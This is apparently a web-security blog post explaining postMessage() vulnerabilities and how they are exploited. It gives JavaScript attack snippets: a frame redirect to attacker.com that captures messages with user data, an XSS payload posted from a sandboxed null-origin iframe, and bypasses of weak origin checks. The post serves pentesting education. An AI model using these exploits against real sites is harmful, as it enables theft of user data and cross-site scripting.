Before we dive into the vulnerabilies posed by postMessage()
function of javascript, we need a bit of background knowledge. Since postMessage() came into existence because of a browser security mechanism enforced by the Same Origin Policy, we need to understand it first.
The browser enforces a Same Origin Policy which prevents websites from attacking each other. Suppose that you are an attacker who has set up a phishing page, on which you make a get request to https://examplebank.com/userAccount/getAccountInformation.aspx
. Let's say a victim visiting your website is logged into this bank, the default behaviour for the browser is to always include the cookies of a website in a request made to it. Since the victim is logged in, the page getAccountInformation.aspx will return the user's information in it's response. Now if the Same Origin Policy didn't exist, the attacker hosting the phishing page can simple load the "getAccountInformation.aspx" page in an invisible iframe on the victim's browser and read the data returned by it.
Here comes the Same Origin Policy, which is like a guideline that tells the browser which Origins it allows to be read or modified by JavaScript.
According to PortSwigger:
The same-origin policy restricts scripts on one origin from accessing data from another origin. An origin consists of a URI scheme, domain and port number.
For example, consider the following URL:
http://normal-website.com:8080/example/example.html
The scheme:http
, domain(including subdomain):normal-website.com
and the port number:8080
, form an origin for this page and all the three things must be same for any other URI to be considered to be from the same origin. The same origin policy will prevent any page from another origin to read the contents of this page and vice versa.
Now that we know what the SOP(Same Origin Policy) is, we can begin to see whypostMessage
came into existence.
The javascript postMessage function allows two windows from different or same origins to send and receive data from one another. When a page in one window (called parent) opens another window in either an iframe or in a popup (called child) this method can allow the parent windows and child window to send data to each other using postMessage. The syntax of postMessage()
is:
1postMessage(message, targetOrigin, transfer) 2
The message
can be any datatype within javascript, targetOrigin
specifies the origin that the message is intended for and transfer
is a sequence of Transferable Objects.
In short, postMessage is a secure way to circumvent the same origin policy ... or is it?
Now that we have an understanding of how and why the postMessage
function is used, we have reached the fun part of this blog - Exploiting it!
Using postMessage is one of the ways that two cross origin web pages can communicate with each other, moreover developers fail to understand the implications that a vulnerability of cross origin messaging can entail. So let us look at some common pitfalls:
The target Origin is required to be set to a specific origin that is intended receiver of the message. But it's a common and dangerous mistake for developers to include a wildcard *
in place of targetOrigin, which will allow any origin to access the messages which is harmful if the message includes any sensitive data. An example scenario can be seen below:
Suppose, that page at https://somewebsite.com
embeds a child window or an iframe with an origin http://sub.somewebsite.com
, which sends a postMessage which was supposedly intended for http://somewebsite.com
, but the developer made this mistake of specifying *
wildcard as the targetOrigin:
1parentWindow.postMessage({"user_email":"[email protected]"},"*") 2
If http://somewebsite.com
does not have X-Frame-Header protection set...an attacker can host a malicious webpage exploiting this behaviour by changing the location of the window object in the iframe loaded by http://somewebsite.com
i.e http://sub.somewebsite.com
to http://attacker.com
1 <iframe src="https://somewebsite.com" /> //1 2 <script> 3 setTimeout(exp, 6000); //2 4 5 function exp(){ 6 window.frames[0].frames[0].location="https://attacker.com/exploit.html"; 7 }, 100); //3 8 9 </script> 10
Let's understand this one line at a time:
exp
to be executed after 6s. The delay is to make sure that the iframe is properly loaded.exp
function further sets up a logic to change the location of the iframe object which will set it's origin to the attacker's domain.somewebsite.com
will instead be sent to the attacker controlled domain. A detailed description of a bug found in the wild on docs.google.com can be found here.In the receiving end of the messages, the window sets up a listener for 'message' events and registers the function responsible for handling messages received.
1window.addEventListener("message", (event) => { 2if (event.origin !== "http://legitimatesite.org:8080") 3return; 4// perform some action 5}, false); 6
In this above code, the function registered for handling messages does a check or validation to ensure that the message it is about to process has originated from a trusted domain, which is really important before any sensitive action, such as updating user's information or processing a payment is performed based on that data. An example to demonstrate this:
1 2 window.addEventListener('message',function (event) { 3 const data = JSON.parse(event.data); 4 const accountDiv = getElementById("account-div"); 5 accountDiv.innerHTML = data.message; 6 } 7
As we can see in the above snippet, no validation on the data is being performed before using it to change the innerHTML of a web page, this can lead to an attacker embedding the webpage in iframe and sending an XSS payload which can steal all the user's data logged in to the site.
The best way to spot postMessage vulnerabilities is to look out for the event listeners for 'message' event which can be spotted by
postMessage
or onMessage
and addEventListener('message', ...)1window.addEventListener('message',function () { 2if e.origin.indexOf("https://legitimate.com") == -1 { 3//deny 4} else { 5//allow 6} 7
Such a check can be easily bypassed by registering a subdomain like : https://legitimate.com.attacker.site
which is still an attacker controlled website.
1window.addEventListener('message',function (e) { 2if "https://legitimatesite.com".search(e.origin) == -1 { 3//deny 4} else { 5//allow 6} 7
Such a check can be bypassed easily by just passing a domain as legit.matesite.com
where the .
will match a single character as it got converted to a regex and legit.matesite
will match with legitimatesite
.
This bypass can be achieved by framing our own page within a sandboxed iframe which sets the origin of the iframe to null
, We also need to set the allow-popups tag which will make all the popups inherit all the sandboxed attributes, i.e. the origin will be again set to null
.
1f = document.createElement('iframe'); 2f.sandbox = 'allow-scripts allow-popups allow-top-navigation'; 3f.srcdoc = ` 4let w = open('https://so-xss.terjanq.me/iframe.php'); 5setTimeout(_ => { 6w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*') 7}, 1000); 8` 9
This will cause both the e.origin == window.origin == null
and bypass the check.
Some headers like X-Frame-Header
can prevent a webpage from getting iframed. In such you can open a new tab to the vulnerable web application and communicate with it:
1var w=window.open("<url>") 2setTimeout(function(){w.postMessage('...','*');}, 2000); 3
[1] https://portswigger.net/web-security/cors/same-origin-policy
[2] https://book.hacktricks.xyz/pentesting-web/postmessage-vulnerabilities
[3] https://medium.com/@chiragrai3666/exploiting-postmessage-e2b01349c205
Exploiting Post Message for Fun and Profit